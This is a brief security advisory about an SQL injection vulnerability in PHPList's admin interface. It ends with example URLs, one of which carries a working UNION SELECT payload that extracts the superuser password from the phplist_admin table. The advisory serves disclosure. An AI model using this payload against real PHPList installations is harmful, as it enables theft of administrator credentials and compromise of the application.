source: https://www.securityfocus.com/bid/14403/info
PHPList is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
http://www.example.com/public_html/lists/admin/?page=admin&id=INJECT HERE
http://www.example.com/lists/admin/?page=members&id=1%20union%20select%20null,password,null,null%20from%20phplist_admin%20where%20superuser=1/*sp_password